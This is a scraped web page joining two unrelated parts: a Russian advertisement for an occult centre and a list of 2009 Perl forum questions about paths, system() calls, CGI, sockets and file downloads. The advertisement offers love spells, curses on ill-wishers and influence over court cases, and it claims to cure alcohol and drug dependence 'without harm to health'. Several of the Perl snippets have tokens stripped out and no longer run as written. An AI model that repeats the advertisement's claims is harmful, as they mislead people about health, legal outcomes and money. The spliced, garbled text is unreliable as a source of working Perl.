Классический приворот с помощью черной и белой магии.
ВЫХОД ИЗ КРИЗИСА: максимальный подъем бизнеса и карьеры.
Воздействие на поведение человека на расстоянии (авторский метод И.Н.Германа).
Инвольтированный приворот (авторский метод И.Н.Германа).
Авторский мощнейший приворот за 1 день.
Полное снятие зависимости одного человека от другого и установка барьера на отношения.
Работа методом ВУДУ и зомбирования (приворот Вуду и приворот на крови).
Влияние на ситуацию (корректировка хода дел в суде, помощь заключенному).
Воздействие на ход сделки (влияние на поведение деловых партнеров).
Оказание любых негативных воздействий на недоброжелателей.
Установка абсолютной зеркальной защиты от любых воздействий (авторский метод И.Н.Германа).
Полное избавление от негативных воздействий на Вас и Ваших близких (снятие порчи, сглаза и родовых проклятий).
Снятие алкогольной и наркотической зависимости без вреда для здоровья.
Установка 100% кода на удачу в бизнесе и деньгах (авторский метод И.Н.Германа).

Информация по т.(495) 510-92-02, 740-28-20, 649-41-44
Официальный сайт центра Ильи Германа http://igerman.ru

Perl: how to replace character '/' with '\'

alan_123 — Fri, 09 Oct 2009 15:19:11 GMT

I am new to perl.
In a string How do I replace a backward slash with a forward slash?
when I call the following perl api $FindBin::Bin; I get the path as follows
$myPath = c:/perl/test
I would like to covert this to
c:\perl\test
I did try the following and get errors
#$myPath=~ tr/\//\/c;

How to copy a directory?

rdevi — Wed, 07 Oct 2009 06:49:35 GMT

Hi all,

Can anybody tell me, how to coy a directory along with its contents from remote machine to my local location? Both the machines are windows only.

Thanks in advance.

passing a path variable to system()

rdevi — Tue, 06 Oct 2009 04:17:55 GMT

Hi all,

I am new to Perl. I am trying to send a variable which contains the location of my executable (eg: C:\temp) to system function. i initialized the variable as,
my var1="C:\\temp";
when i print this line i got : C:\temp as o/p.
To start the executable i did:
system("$var1//executable.exe");
I thought, var1 is replaced with C:\temp, but not with C:\\temp
If i don't provide C:\\temp\\executable.exe to system(), the execution is not started.
I want to send a variable with two slashes to system function. Help me here. Or suggest me any work around

perl for database parsing...please help

jacquelinek — Mon, 05 Oct 2009 03:02:05 GMT

A protein entry on swissprot database be something like this:

ID ATF6A_HUMAN
AC P18850; O15139; Q5VW62; Q6IPB5; Q9UEC9;
DT 01-NOV-1990, integrated into UniProtKB/Swiss-Prot.
DE AltName: Full=Activating transcription factor 6 alpha;
DE Short=ATF6-alpha;
OS Homo sapiens (Human).
RN [10]
RP REVIEW.
RX MEDLINE=21376119; PubMed=11483355; DOI=10.1016/S0378-1119(01)00551-0;
RA Hai T., Hartman M.G.;
RT "The molecular biology and nomenclature of the activating
RT transcription factor/cAMP responsive element binding family of
RT transcription factors: activating transcription factor proteins and
RT homeostasis.";
RL Gene 273:1-11(2001).
DR NextBio; 43639; -.
DR PMAP-CutDB; P18850; -.
DR ArrayExpress; P18850; -.
DR Bgee; P18850; -.
DR CleanEx; HS_ATF6; -.
DR GermOnline; ENSG00000118217; Homo sapiens.
DR Pfam; PF00170; bZIP_1; 1.
DR PROSITE; PS50217; BZIP; 1.
DR PROSITE; PS00036; BZIP_BASIC; 1.
PE 1: Evidence at protein level;
KW Activator; Complete proteome; DNA-binding; Endoplasmic reticulum;
KW Glycoprotein; Membrane; Nucleus; Phosphoprotein; Polymorphism;
KW Signal-anchor; Transcription; Transcription regulation; Transmembrane;
KW Unfolded protein response.
//

I wish to parse through the protein database to get all protein names and Pfam numbers that are "human" "transcription factors" AND also a "DNA-binding", ignoring all other information.
My protocol is as followed:
Find "ID" line.
Find "OS" line and see if it contains the word "HUMAN".
See if there is any Pfam number in "DR" lines.
See if the terms "transcription" and "DNA-binding" appear in "KW" lines.
If the three conditions are met, then print out the result like this:
$ID, $Pfam_number1, $Pfam_number2,...(if more Pfam numbers exist)

It should be a pretty easy one, but I am not sure how to write a script on this. It has puzzled me for days. Can anyone please help?
I will not need a full script, just a main construction of the script would be very helpful.

Thanks.

prevent .cgi script from reloading after "Submit" pressed

inquisitor71 — Mon, 28 Sep 2009 04:44:30 GMT

Could you suggest how to prevent the following script from reloading when 'Submit' is pressed ?

Thanks

#!/usr/bin/perl

use strict;
use warnings;
use CGI qw(:standard :html3);

our @results;

#require ("file_upload2.pl");

print header;
start_html(' questions shuffle'),
print h2 ("\t questions shuffle");

my @questionsets = ("dt_questions.txt", "questions2.txt", "dt_questions.txt");

foreach my $setfile (@questionsets){
&choose ($setfile);

}

sub choose {

my $set = shift;

open (FILE, $set ) || die "Error opening file : $!\n";
#config
my @questions =;
my @numbers = (1..40);#number of questions to choose from
my $limit = 25; #number of questions to be selected
my %list = ();

print h4 ("\t $set");

#populate the hash with random numbers
while (keys %list < $limit) {
$list{$numbers[rand @numbers]}=1;
}

# print the selected questions in a table

print "";

print (td "
\ @questions[ keys %list]
");

print "
";
foreach my $values(keys (%list)){

#print "@questions[ $values]";

push (@results, @questions[ $values]);

close(FILE);

}

}
###### Answer Sheet
print h3 ("Answer Sheet");

print p;
print start_form;

my $count;
for (0..$#results ){

$count = "answer"."$_";
print popup_menu(-name=>"$count",
-values=>['0','1','2','3','4','5', '6','7','8','9','10']);
print "\n@results[$_]\n";

print p;
}

print submit(-name=>'preview', -value=>'Submit');;

print end_form,
hr;

if (!param ('preview')){exit;}

## print scores
my $score;
for (0..$#results ){
my $answer = "answer"."$_";
#print param ("$answer");

$score = $score + param ("$answer");}
my $max = ($#results +1)*10;
print "The total score is : $score";
print p;
print "Maximum possible score is $max ";
exit;

System()?

jen140 — Sun, 27 Sep 2009 06:32:27 GMT

Hello all.
I was trying to execute wget from the perl under windows vista.
In cmd i can easily run wget because its in \windows\system32 folder. But from perl,when i try both
system('wget --h');
and
system('c:\windows\system32\wget --h');
i get the next error :
'wget' is not recognized as an internal or external command, operable program or batch file.
And it works when wget is in the same folder of the script, any way to put it using the \windows\system32's wget?
Thanks in advance.

Module Installation Problem

orwell84 — Fri, 25 Sep 2009 23:39:52 GMT

Well, I want to have a program make a graph from the data that it has, so I looked up how to do that in Perl. The GD::Graph module came up. The problem is, that I tried installing GD previously and it did not work. I have tried every trick I know of (yes, I read the README, but if anyone else understands it more than myself, feel free to look through it for potential problems), but the module still does not install. I have tried getting the latest versions of libgd, libpng, and zlib, as well as using the CPAN module, and putting gd.h in the right place.
I am running Ubuntu 9.10 on an Eee PC 901.

Quote:

GD.xs:710: error: ‘gdIOCtx’ undeclared (first use in this function)
GD.xs:710: error: (Each undeclared identifier is reported only once
GD.xs:710: error: for each function it appears in.)
GD.xs: In function ‘XS_GD__Image_newFromGifData’:
GD.xs:865: error: ‘gdIOCtx’ undeclared (first use in this function)
GD.xs:865: error: ‘ctx’ undeclared (first use in this function)
GD.xs: In function ‘XS_GD__Image_stringFTCircle’:
GD.xs:2262: warning: assignment makes pointer from integer without a cast
GD.xs: In function ‘XS_GD__Font_DESTROY’:
GD.xs:2437: warning: comparison between pointer and integer
GD.xs:2441: warning: comparison between pointer and integer
GD.xs: In function ‘XS_GD__Font_Small’:
GD.xs:2453: warning: assignment makes pointer from integer without a cast
GD.xs: In function ‘XS_GD__Font_Large’:
GD.xs:2464: warning: assignment makes pointer from integer without a cast

These are the types of errors I get when I try to execute the commands make and make install. Any help that can be provided would be appreciated.

generating random number of eight digit

Prakash_8111 — Wed, 16 Sep 2009 11:38:24 GMT

Hi Guys,
Can any one suggest to generate a random number of eight digit.
All suggestions are welcomed :)

struggling with perls quirks

piers — Wed, 16 Sep 2009 11:04:29 GMT

Hi I am struggling learning perl and everytime I try to enter stuff in at runtime I keep getting a 1 returned. I dont get it. please can you explain to me what I am doing wrong.

#!/usr/bin/perl
print "content-type: text/html \n\n";

&fname;

print "\n totals are out of 140 \n";
sub fname
{
return "enter in up to 10 firstnames: \n";
for ($i=0; $i < 2; $i++)
{
@name=."\n";

}

return "these are the firstnames:".@name;
}

printing information form sub routines

piers — Tue, 15 Sep 2009 09:44:21 GMT

I am trying to teach myself perl and I cannot understand why when I print arrays from these subroutines that it prints an extra one that isnt there.

@name=fname(@name)."\n".lname(@name);

print @name;

sub fname(@name)
{
@name=('john'."\t",'james'."\t",'edward'."\n");

print @name;
}

sub lname(@name)
{
@name=('hunt'." \t",'jones'."\t",'smith');

print @name;
}

this is what I get when I execute it in the command prompt.
john james edward
hunt jones smith1
1

Now what I dont get is why the 1s on the end are there and how to remove them.

Multiple window using Perl TK

terrylau77 — Tue, 15 Sep 2009 06:01:07 GMT

I've got a text file in this following format :

Field Data
1 2
1 3
1 4
2 5
2 6
3 2
3 3
3 4

I would like to open separate windows for each of the field...
meaning :
window1 (for field1) will display 2,3,4
window2 (for field2) will display 5,6
window3 (for field3) will display 2,3,4

I've read the file and load into two separate arrays - @field and @data.

I'm using window1 as the main window and the rest as toplevel windows.
I've managed to do window1 but the still having problem to proceed with the rest. Appreciate any snippets or guidance to start with as still new with Perl n Tk. Thanks in advance...

output of ($a,$b)=((1,2),3); Print $a $b

siragnas — Sun, 13 Sep 2009 02:17:19 GMT

Please let me know how this will execute in perl:
($a,$b)=((1,2),3); Print $a $b

what will be printed as output?

Another Perl Out Of Memory Post :(

mattdaddym — Wed, 09 Sep 2009 07:00:58 GMT

Hi all,

This is my first post, and I am certainly no perl programmer. I do have programming experience and have inherited a some perl code written by someone else. I have spent days trying to find the solution to this, so here it goes.

This script parses a tab delimited text file and downloads files from our Intranet based on 3 columns of information. Whenever the script hits a file that is a bit over 60MB, it dies with a "Out of memory during "large" request for 134221824 bytes, total sbrk() is 271218688 bytes at..." error.

We are using a while loop (which I read can be a problem if not since the while reads line by line) and the data segment size and file size are unlimited. The machine running this has plenty of resources. There is not actually a memory shortage, at least a Gig of physical mem is available when this happens. I do run these scripts in a cygwin environment, but I have tested this on ubuntu 9 with the same results. I am including the script below. Any help is much appreciated. Thanks!

#!/usr/local/bin/perl

##### LOAD THE NEEDED PERL LIBRARY MODULES #####
use FileHandle;
use LWP::UserAgent;
use HTTP::Request;
use IO::File;

##### MAKE SURE STDOUT KEEPS FLUSHED #####
autoflush STDOUT 1;
##### SETUP RESTRICTIONS, AS WELL AS GLOBAL VARIABLES #####
use strict;

my $infile = shift || die "Usage: multidownload.pl < file_with_info\n";
open( IN, "< $infile" );

##### SET UP YOUR INFO HERE #####

my $PATH = "filesDownloaded";

my ($url,$request,$response);
my $UA = new LWP::UserAgent;
my $nodeid;
my $ext;
my $file = "";
my $line;

my $llserver = "xxxxxxxi";
my $llcookie ='LLCookie=xxxxxxxxxxxxx';

while () {
$line = $_;
($nodeid,$ext,$file) = split(/\t/, $line);
chomp $nodeid;
chomp $ext;
chomp $file;

##### make sure we have a nodeID####
if( $nodeid =~ /\d+/ ) {
print "Downloading $nodeid, Ext $ext, Name $file...\n";

$url = "$llserver?func=ll&objId=$nodeid&objAction=download";

$request = new HTTP::Request GET => $url;
$request->header( Cookie => "$llcookie" );
$response = $UA->request($request);

# Replace spaces/slashes/stars/pipes/? with '_' in the filename
# Remove leading and trailing spaces first
$file =~ s/^\s+//;
$file =~ s/\s+$//;
$file =~ s/\s+/_/g;
$file =~ s/\/+/_/g;
$file =~ s/\\+/_/g;
$file =~ s/\*+/_/g;
$file =~ s/\|+/_/g;
$file =~ s/\?+/_/g;
$file =~ s/\&+/_/g;
$file =~ s/$+/_/g;
$file =~ s/$+/_/g;
$file =~ s/\'+/_/g;
$file =~ s/\"+/_/g;
$file =~ s/\;+/_/g;
$file =~ s/\:+/_/g;
$file =~ s/\%+/_/g;
$file =~ s/\$+/_/g;
$file =~ s/\~+/_/g;
$file =~ s/\<+/_/g;
$file =~ s/\>+/_/g;

#DOWNLOAD THE FILE
if( $ext =~/null/ ) {
open(FH, ">> $PATH/$nodeid-$file") or print "=>FAIL DWNLD: $nodeid, $!\n";
print FH $response->content;
close(FH);

#CHECK FOR 'LOGIN ERROR' OR 'NO LONGER EXISTS'
my $num = `/usr/bin//egrep "File: error.html|Authentication Required." $PATH/$nodeid-$file | /usr/bin//wc -l`;
if ( $num>0 ) { print STDERR "=>FAIL ERROR CHECK: $nodeid\n"; }

} else {
open(FH, ">> $PATH/$nodeid-$file.$ext") or print "=>FAIL DWNLD: $nodeid, $!\n";
print FH $response->content;
close(FH);

#CHECK FOR 'LOGIN ERROR' OR 'NO LONGER EXISTS'
my $num = `/usr/bin//egrep "File: error.html|Authentication Required." $PATH/$nodeid-$file.$ext | /usr/bin//wc -l`;
if ( $num>0 ) { print STDERR "=>FAIL ERROR CHECK: $nodeid\n"; }
}
}
else { print "NodeID not ##s: $nodeid, Ext: $ext, Name: $file\n"; }
}

#If desired, create a text file with the md5 sums for all files
##`cd $PATH; md5sum * > $PATH/_md5.txt`;

close(IN);

trouble with sockets...

gginnj — Wed, 02 Sep 2009 18:36:55 GMT

#!/usr/local/bin/perl

use IO::Socket;

my $url = 'localhost';
my $port = 6464;

my $error = 1;
my $sock ;

while ($error) {
my $sock = new IO::Socket::INET (
LocalHost => $url,
LocalPort => $port,
Proto => 'tcp',
Listen => 1,
Reuse => 1 );

$error = 0 ;
$error =1 unless $sock;
}

print "Listener Port Established \n";

$error =1 ;
while ($error) {
my $new_sock = $sock->accept();
$error =0 ;
$error =1 unless $new_sock;
}

print "Connection Established \n";

while (<$new_sock>) {
print $_;
}

close($sock);

What I get is:
Listener Port Established
Can't call method "accept" on an undefined value at /usr/mbin/testserv.pl line 27.

Any ideas? RH 8 linux (upgradeing OS is not an option)

Need help slurping not able to change the file

MikeDexter — Tue, 01 Sep 2009 13:36:41 GMT

Hi,

I have written a small script that takes an infile, slurps it into an array, and makes a change to the file. Well that is my intention....

I can get the changes to be made using Regular Expressions because I can print and see my H1 tags are changed to H2 tags.

But I have not been able to figure out how to re-write the original file with the changes. I actually want to make these changes to the file, not just prove my loop is capable of making the changes with a print.

Here is my code:

open (INFILE, $ARGV[0]) or die "Error $ARGV[0]: $!\n";
@slurp = ;

while (<@slurp>)
{
s#<(/?)H1>#<$1H2>#g;
}

print INFILE @slurp;

substitution regex question

perlguy — Tue, 25 Aug 2009 22:50:29 GMT

I'm trying to cut off the text leading up to the whitespace past the >.

For example the string is 'Web & Programming > Testing & QA Contractor' and my regex is

$job->{'title'} =~ s/^.+>\s+//;

I need to end up with just 'Testing & QA Contractor'. Can someone point me in the right direction?

how to compare two directories that contain xml files in perl??

prajnapj — Tue, 25 Aug 2009 07:05:29 GMT

how to compare two directories that contain xml files in perl..

and prints the content that is modified, added and deleted

Logfile rotation sciprt using perl.

DemonixXV2 — Sun, 23 Aug 2009 14:18:48 GMT

I'm trying to find or create a Perl script that:
Checks for and creates these files:

notes
notes.1
notes.2
notes.3
notes.4

The first represents the current log file and the others are older versions. Each time the script runs it would check for the existence of notes.3 and, if it exists, move it to notes.4. Then is should check for notes.2 and move it to notes.3 and so on, until notes is moved to notes.1.

I've looked on the net already, but they're just too complex and try to do too much compared to my requirements.

Does anyone know of a script that does this, or do you have any code that could be adapted easily?

Thanks!